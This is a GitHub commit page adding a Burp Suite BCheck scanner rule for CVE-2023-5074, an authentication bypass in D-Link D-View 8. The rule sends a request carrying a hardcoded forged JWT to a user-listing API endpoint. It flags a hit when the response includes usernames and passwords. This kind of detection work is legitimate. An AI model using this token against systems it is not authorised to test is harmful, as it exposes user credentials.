-
Notifications
You must be signed in to change notification settings - Fork 111
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
CVE-2023-5074 D-Link D-View 8 v2.0.1.28 - Authentication Bypass
- Loading branch information
Showing
1 changed file
with
27 additions
and
0 deletions.
There are no files selected for viewing
27 changes: 27 additions & 0 deletions
27
vulnerabilities-CVEd/CVE-2023-5074 D-Link D-View 8 v2.0.1.28 - Authentication Bypass.bcheck
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,27 @@ | ||
metadata: | ||
language: v1-beta | ||
name: "CVE-2023-5074 D-Link D-View 8 v2.0.1.28 - Authentication Bypass" | ||
description: "Check for CVE-2023-5074" | ||
author: "Joao Paulo Assis (j0hnZ3RA)" | ||
tags: "CVE-2023-5074, D-Link, auth-bypass" | ||
|
||
|
||
define: | ||
potential_path = "/dview8/api/usersByLevel" | ||
|
||
|
||
given host then | ||
send request called check: | ||
method: "GET" | ||
path: {potential_path} | ||
headers: | ||
"Authorization": "eyJhbGciOiAiSFMyNTYiLCJ0eXAiOiAiand0In0.eyJvcmdJZCI6ICIxMjM0NTY3OC0xMjM0LTEyMzQtMTIzNC0xMjM0NTY3ODA5YWEiLCJ1c2VySWQiOiAiNTkxNzFkNTYtZTZiNC00Nzg5LTkwZmYtYTdhMjdmZDQ4NTQ4IiwidHlwZSI6IDMsImtleSI6ICIxMjM0NTY3OC0xMjM0LTEyMzQtMTIzNC0xMjM0NTY3ODkwYmIiLCJpYXQiOiAxNjg2NzY1MTk4LCJqdGkiOiAiZmRhOGU1YzNlNWY1MTQ5MDMzZThiM2FkNWI3ZDhjMjUiLCJuYmYiOiAxNjg2NzYxNTk4LCJleHAiOiAxODQ0NDQ1MTk4fQ.5swhQdiev4r8ZDNkJAFVkGfRTIaUQlwVue2AI18CrcI" | ||
|
||
|
||
if {check.response.status_code} is "200" and "userName" in {check.response.body} and "passWord" in {check.response.body} and "isEmailActivate" in {check.response.body} and "application/json" in {check.response.headers} then | ||
report issue: | ||
severity: high | ||
confidence: certain | ||
detail: "Use of a static key to protect a JWT token used in user authentication can allow for an authentication bypass in D-Link D-View 8 v2.0.1.28." | ||
remediation: "Upgrade to the latest version to mitigate this vulnerability." | ||
end if |